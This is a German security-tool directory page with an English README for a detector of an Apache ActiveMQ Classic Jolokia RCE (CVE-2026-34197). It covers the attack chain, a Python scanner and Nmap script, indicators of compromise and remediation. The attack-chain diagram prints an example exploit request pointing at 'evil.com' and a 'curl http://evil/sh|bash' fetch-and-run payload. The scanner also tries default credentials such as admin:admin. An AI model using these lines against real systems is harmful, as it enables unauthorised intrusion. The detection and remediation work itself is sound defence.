Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-34197 — Erkennt Apache ActiveMQ Classic RCE (CVE-2026-34197) über die Jolokia-API mit Python- und Nmap-NSE-Skripten und prüft dabei unauthentifizierten Zugriff sowie Versionsschwachstellen. | Kitploit
Tools/GitHubGitHub/keraattin/cve-2026-34197
SchwachstellenscannerSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungNetzwerksicherheitPenetrationstests
GitHubkeraattin/cve-2026-34197

CVE-2026-34197

Erkennt Apache ActiveMQ Classic RCE (CVE-2026-34197) über die Jolokia-API mit Python- und Nmap-NSE-Skripten und prüft dabei unauthentifizierten Zugriff sowie Versionsschwachstellen.

Repository anzeigen
24vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-34197 — Apache ActiveMQ Classic RCE über die Jolokia-API

CVE-2026-34197 CVSS 8.8 CWE-94 ActiveMQ Classic

TL;DR

Eine Remote-Code-Execution-Schwachstelle in Apache ActiveMQ Classic, die es einem Angreifer ermöglicht, beliebigen Code auszuführen, indem er die MBean-Operation addNetworkConnector(String) über die Jolokia-API (/api/jolokia/) aufruft. Der Angreifer bettet einen bösartigen brokerConfig-Parameter ein, der auf eine entfernte Spring-XML-Datei verweist, die ActiveMQ abruft und parst, wodurch beliebige Java-Objekte instanziiert und Codeausführung erreicht wird.

Bei ActiveMQ-Versionen 6.0.0 bis 6.1.1 ist der Jolokia-Endpunkt vollständig ohne Authentifizierung erreichbar, was dies zu einer Zero-Click-RCE ohne Authentifizierung macht.

Diese Schwachstelle war 13 Jahre lang im Codebase verborgen, bevor sie mit KI-Unterstützung entdeckt wurde.


Inhaltsverzeichnis

  • Kurzfakten
  • Was ist Apache ActiveMQ?
  • Schwachstellen-Tiefenanalyse
    • Die Architektur: Jolokia und JMX
    • Die Angriffskette
    • Die Authentifizierungslücke
  • Auswirkungsanalyse
  • Betroffene Versionen
  • Erkennung
    • Python-Scanner
    • Nmap-NSE-Skript
    • Manuelle Überprüfung
  • Indikatoren für eine Kompromittierung
  • Behebung
  • Referenzen
  • Autor

Kurzfakten

FeldDetail
CVE-IDCVE-2026-34197
AnbieterApache Software Foundation
ProduktApache ActiveMQ Classic
Betroffene VersionenAlle Versionen vor 5.19.4 und 6.2.3
RCE ohne AuthentifizierungVersionen 6.0.0 bis 6.1.1 (Jolokia hat keine Authentifizierung)
CVSS v3.18.8 (Hoch)
CWECWE-94 — Unzureichende Kontrolle der Codegenerierung
AngriffsvektorNetzwerk
AuthentifizierungErforderlich bei 5.x; keine bei 6.0.0 bis 6.1.1
BenutzerinteraktionKeine
Exploit-ReifegradÖffentlicher PoC verfügbar
Behoben inActiveMQ Classic 5.19.4, 6.2.3
Alter des Fehlers~13 Jahre im Codebase
EntdeckungKI-gestützte Schwachstellenforschung

Was ist Apache ActiveMQ?

Apache ActiveMQ Classic ist einer der am weitesten verbreiteten Open-Source-Message-Broker im Java-Ökosystem. Es implementiert die Java-Message-Service-Spezifikation (JMS) und dient als Rückgrat der asynchronen Kommunikation in tausenden Unternehmensumgebungen weltweit.

ActiveMQ verarbeitet alles von Auftragsverarbeitungs-Warteschlangen und Finanztransaktions-Pipelines bis hin zu IoT-Telemetrie-Streams und Microservice-Event-Bussen. Wenn Ihre Organisation Java-basierte Microservices, ereignisgesteuerte Architektur oder irgendeine Form von asynchronem Messaging verwendet, ist die Wahrscheinlichkeit hoch, dass ActiveMQ irgendwo im Stack steckt.``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here

root@kitploit:~
Wenn ein Angreifer ActiveMQ kompromittiert, erhält er nicht nur eine Shell auf einem einzelnen Server. Er sitzt im **Zentrum jedes Nachrichtenflusses** in der Organisation und kann Nachrichten zwischen kritischen Systemen lesen, ändern, umleiten oder einschleusen.

---

## Detaillierte Analyse der Schwachstelle

### Die Architektur: Jolokia und JMX

**JMX** (Java Management Extensions) ist die Standard-Verwaltungsschnittstelle für Java-Anwendungen. Sie stellt „MBeans“ (Managed Beans) bereit, die die Überwachung und Steuerung der Anwendungsinterna ermöglichen. ActiveMQ stellt MBeans für die Verwaltung von Brokern, Warteschlangen, Topics, Verbindungen und mehr bereit.

**Jolokia** ist eine JMX-über-HTTP-Brücke. Sie übersetzt JMX-Operationen in eine RESTful-JSON-API und ermöglicht so die Verwaltung von Java-Anwendungen über HTTP-Anfragen, ohne dass ein dedizierter JMX-Client erforderlich ist.

ActiveMQ Classic wird mit integriertem Jolokia ausgeliefert, das unter `/api/jolokia/` auf dem Web-Konsolen-Port (Standard: 8161) erreichbar ist.```
  Traditional JMX Access:
  ┌──────────┐                                 ┌──────────────┐
  │ JConsole │ ────── JMX Protocol ─────────>  │  ActiveMQ    │
  │          │    (requires JMX client)        │  MBeans      │
  └──────────┘                                 └──────────────┘

  Jolokia HTTP Access:
  ┌──────────┐                                ┌──────────────┐
  │  curl /  │ ── POST /api/jolokia/ ───────> │  ActiveMQ    │
  │ browser  │    (just needs HTTP)           │  MBeans      │
  └──────────┘                                └──────────────┘
                       ⬆️
           Anyone with HTTP access can
           invoke MBean operations

Hier beginnt das Problem. Jolokia gibt die volle Leistungsfähigkeit der JMX-Verwaltung über eine einfache HTTP-API frei. Und eine der auf dem Broker verfügbaren MBean-Operationen ist addNetworkConnector(String).

Die Angriffskette

Die Operation addNetworkConnector(String) ist dafür ausgelegt, Netzwerk-Brücken zwischen ActiveMQ-Broker-Instanzen zu erstellen. Sie akzeptiert eine URI-Zeichenfolge, die beschreibt, wie eine Verbindung zu einem anderen Broker hergestellt wird.

ActiveMQ unterstützt ein vm://-URI-Schema für In-Process-Broker-Verbindungen. Diese URIs unterstützen einen brokerConfig-Parameter, der auf eine Spring-XML-Konfigurationsdatei verweist. Und Spring-XML kann beliebige Java-Objekte instanziieren.

Hier ist die vollständige Kette:``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘

root@kitploit:~
ActiveMQ tut genau das, wofür es entwickelt wurde: Es lädt eine Broker-Konfiguration. Das Problem ist, dass die Konfigurationsquelle vom Angreifer kontrolliert wird und Spring-XML praktisch ein Format zur Codeausführung ist.

### Die Authentifizierungslücke

Das ist es, was die Schwachstelle von ernst zu kritisch aufwertet:

| ActiveMQ-Version | Jolokia-Auth-Status | Auswirkung |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | Authentifiziert (Standard: admin:admin) | Auth'd RCE, oft trivial umgangen |
| 6.0.0 bis 6.1.1 | **Vollständig ohne Authentifizierung** | **RCE ohne Authentifizierung** |
| 6.1.2 bis 6.2.2 | Authentifiziert | Auth'd RCE |
| 5.19.4+ / 6.2.3+ | Gepatcht | Nicht verwundbar |

Auf ActiveMQ 6.0.0 bis 6.1.1 erfordert der Jolokia-Endpunkt **null Authentifizierung**. Jeder, der Port 8161 erreichen kann, erhält Remote-Codeausführung ohne Authentifizierung.

Selbst auf Versionen, auf denen Jolokia eine Authentifizierung erfordert, sind die Standard-Anmeldedaten `admin:admin` weithin bekannt und werden in Entwicklungs-, Staging- und Produktionsumgebungen häufig unverändert gelassen.

---

## Auswirkungsanalyse

**Unmittelbare Auswirkung auf den Broker-Host:**
- Vollständige Remote-Codeausführung mit den Rechten des ActiveMQ-Prozesses
- Zugriff auf alle Message Queues, Topics und gespeicherten Nachrichten
- Möglichkeit, Nachrichten während der Übertragung zu lesen, zu ändern oder einzuschleusen
- Zugriff auf Konfigurationsdateien, Keystores und gespeicherte Anmeldedaten

**Nachgelagerte Auswirkung (über Nachrichtenmanipulation):**
- Einschleusung bösartiger Nachrichten in Verarbeitungs-Warteschlangen
- Änderung von Finanztransaktionen, Aufträgen oder Befehlen während der Übertragung
- Abfangen sensibler Daten, die durch den Broker fließen
- Störung aller nachrichtenabhängigen Dienste

**Verstärkung des Unternehmensrisikos:**
- ActiveMQ sitzt an der Schnittstelle jeder Anwendung, die es nutzt
- Ein einziger kompromittierter Broker kann Dutzende verbundener Dienste beeinträchtigen
- Message Broker sind typischerweise in vertrauenswürdigen Netzwerkzonen mit breitem Zugriff positioniert
- Laterale Bewegung ist von der Netzwerkposition des Brokers aus unkompliziert```
  What an attacker can do after exploitation:

  ┌─────────────────────────────────────────────────────────┐
  │               Compromised ActiveMQ Broker               │
  └────┬───────────┬───────────┬───────────┬──────────┬─────┘
       │           │           │           │          │
       ▼           ▼           ▼           ▼          ▼
  Read/modify   Inject       Pivot to     Intercept    Deploy
  messages      malicious    connected    creds in     persistent
  in transit    messages     systems      messages     backdoor

Betroffene Versionen

VersionStatus
ActiveMQ Classic 6.2.3+Behoben
ActiveMQ Classic 5.19.4+Behoben
ActiveMQ Classic 6.0.0 bis 6.2.2Verwundbar (6.0.0 bis 6.1.1 = ohne Authentifizierung)
ActiveMQ Classic < 5.19.4Verwundbar (mit Authentifizierung)
ActiveMQ ArtemisNicht betroffen (anderer Codebestand)

Erkennung

Python-Scanner

Das Python-Skript erkennt verwundbare ActiveMQ-Instanzen durch eine mehrstufige Analyse.

So funktioniert es:

  1. Jolokia-Endpunkt-Prüfung — Testet, ob /api/jolokia/ ohne Authentifizierung erreichbar ist (HTTP 200 = offen, 401 = Authentifizierung erforderlich)
  2. Test mit Standard-Anmeldedaten — Falls Jolokia eine Authentifizierung erfordert, versucht es admin:admin, user:user, admin:activemq
  3. Versionserkennung — Durchsucht /admin/- und /-Seiten mithilfe von Regex-Musterabgleich nach ActiveMQ-Versionszeichenfolgen
  4. MBean-Erreichbarkeit — Führt eine sichere Jolokia-Suchabfrage für org.apache.activemq:type=Broker durch, um zu bestätigen, dass der Exploit-Pfad existiert

Es werden keine Exploit-Payloads gesendet. Es werden keine Befehle ausgeführt. Der Scanner beobachtet lediglich die Erreichbarkeit von Endpunkten und Versionsinformationen.

Verwendung:```bash

Install dependencies

pip install -r requirements.txt

Single target

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161

With custom credentials

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret

Bulk scan from file with verbose output

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v

HTTPS with SSL verification disabled (default)

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161

Increased timeout for slow networks

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20

root@kitploit:~
**Optionen:**

| Flag | Beschreibung | Standard |
|------|-------------|---------|
| `-t`, `--target` | Einzelne Ziel-URL (z. B. `http://host:8161`) | — |
| `-f`, `--file` | Datei mit Ziel-URLs, eine pro Zeile (`#`-Kommentare werden unterstützt) | — |
| `-u`, `--username` | Benutzername für die Jolokia-Authentifizierung | — |
| `-p`, `--password` | Passwort für die Jolokia-Authentifizierung | — |
| `-o`, `--output` | Ergebnisse in JSON-Datei speichern | — |
| `--timeout` | Verbindungs-Timeout in Sekunden | `10` |
| `--verify-ssl` | SSL-Zertifikatsprüfung aktivieren | Deaktiviert |
| `-v`, `--verbose` | Ausführliche Ausgabe mit vollständigen Details | Aus |

**Beispielausgabe:**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...

======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
  Jolokia Accessible:    YES
  Requires Auth:         NO (unauthenticated)
  ActiveMQ Version:      6.1.0
  Vulnerable:            YES
  Unauth RCE (6.0-6.1): YES — CRITICAL
  Broker MBean Access:   YES

  Details:
    - Jolokia API accessible WITHOUT authentication
    - Detected ActiveMQ version: 6.1.0
    - Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
      CRITICAL: No auth required!
    - Broker MBean accessible: [org.apache.activemq:type=Broker,...]

======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================

Nmap NSE-Skript```bash

Install the NSE script

sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb

Basic scan

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia

Scan a subnet

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24

Multiple common ports

nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia

Scan targets from a file

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt

With service version detection

nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia

root@kitploit:~
**Beispiel für die Nmap-Ausgabe:**```
PORT     STATE SERVICE
8161/tcp open  http
| CVE-2026-34197_ActiveMQ_Jolokia:
|   VULNERABLE:
|   Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
|     State: VULNERABLE
|     Risk level: CRITICAL
|     ActiveMQ Version: 6.1.0
|     Jolokia Accessible: true (unauthenticated)
|     Description:
|       CRITICAL: Jolokia API is accessible without authentication on
|       ActiveMQ 6.1.0, enabling unauthenticated remote code execution
|       via addNetworkConnector MBean.
|     References:
|_      https://nvd.nist.gov/vuln/detail/CVE-2026-34197

Manuelle Überprüfung

Wenn du manuell mit curl prüfen möchtest:```bash

Step 1: Check if Jolokia is accessible (should return JSON if open)

curl -sk http://:8161/api/jolokia/ | python3 -m json.tool

Step 2: Check with default credentials (if Step 1 returns 401)

curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool

Step 3: Check MBean accessibility (safe read-only query)

curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool

root@kitploit:~
Wenn Schritt 1 eine JSON-Antwort mit Jolokia-Agent-Informationen zurückgibt, ist der Endpunkt nicht authentifiziert. Wenn Schritt 2 mit Standard-Anmeldedaten funktioniert, hast du authentifizierten Zugriff. In beiden Fällen existiert der Exploit-Pfad, wenn der Broker-MBean zugänglich ist.

---

## Indicators of Compromise

Achte in deiner Umgebung auf diese Anzeichen:

| Indikator | Wo prüfen | Worauf achten |
|:---|:---|:---|
| Jolokia-Zugriff | Zugriffsprotokolle der Web-Konsole | POST an `/api/jolokia/` mit `addNetworkConnector` |
| Ausgehender Abruf | Netzwerkprotokolle / Firewall | HTTP-Anfragen von ActiveMQ an unerwartete externe Hosts |
| Spring-XML-Laden | ActiveMQ-Protokolle | Verweise auf `xbean:http://`-URIs |
| Network Connectors | Broker-Konfiguration | `vm://`-URIs mit `brokerConfig`-Parametern, die du nicht erstellt hast |
| Kindprozesse | Prozessüberwachung | Unerwartete Prozesse, die vom ActiveMQ-Java-Prozess gestartet wurden |

**Untersuchungsbefehle:**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/

# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors

# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java

# Check for unexpected child processes
ps aux --forest | grep -A5 activemq

Behebung

Sofortmaßnahmen (jetzt durchführen):

  1. ActiveMQ Classic aktualisieren auf Version 5.19.4 oder 6.2.3 (je nach Branch)
  2. Jolokia-Zugriff einschränken, indem Firewall-Regeln oder Reverse-Proxy-ACLs hinzugefügt werden, um externen Zugriff auf /api/jolokia/ zu blockieren
  3. Standard-Anmeldedaten ändern, falls Sie admin:admin auf der Web-Konsole verwenden

Kurzfristig (diese Woche):

  1. Jolokia-Zugriffsprotokolle prüfen auf Anzeichen von Ausnutzung (achten Sie auf addNetworkConnector-Operationen)
  2. Netzwerk-Connectors überprüfen auf allen ActiveMQ-Instanzen auf unbefugte Einträge
  3. Auf unerwartete ausgehende Verbindungen prüfen von ActiveMQ-Broker-Hosts
  4. Anmeldedaten rotieren für alle Dienste, die über den Broker verbunden sind

Langfristig:

  1. Netzwerksegmentierung für die Message-Broker-Infrastruktur (dediziertes Verwaltungs-VLAN)
  2. Überwachung der Jolokia-Zugriffsmuster mit Alarmierung bei unerwarteten MBean-Operationen
  3. ActiveMQ einbeziehen in regelmäßige Schwachstellen-Scans und Patch-Management-Zyklen
  4. Jolokia vollständig deaktivieren, falls JMX-Verwaltung nicht benötigt wird, oder nur an localhost binden

Referenzen

  • Horizon3.ai — CVE-2026-34197 ActiveMQ RCE via Jolokia API
  • SecurityWeek — RCE Bug Lurked in Apache ActiveMQ Classic for 13 Years
  • Help Net Security — Apache ActiveMQ RCE Vulnerability CVE-2026-34197
  • CSO Online — Claude Uncovers a 13-year-old ActiveMQ RCE Bug
  • CCB Belgium — Warning: High Severity Vulnerability in Apache ActiveMQ
  • CSA Singapore — Critical Vulnerability in Apache ActiveMQ Classic
  • GBHackers — Claude Identifies Critical 13-Year-Old RCE Vulnerability

Autor

Kerem Oruç — Cybersecurity-Ingenieur

  • GitHub: @keraattin
  • Twitter: @keraattin
Tool herunterladen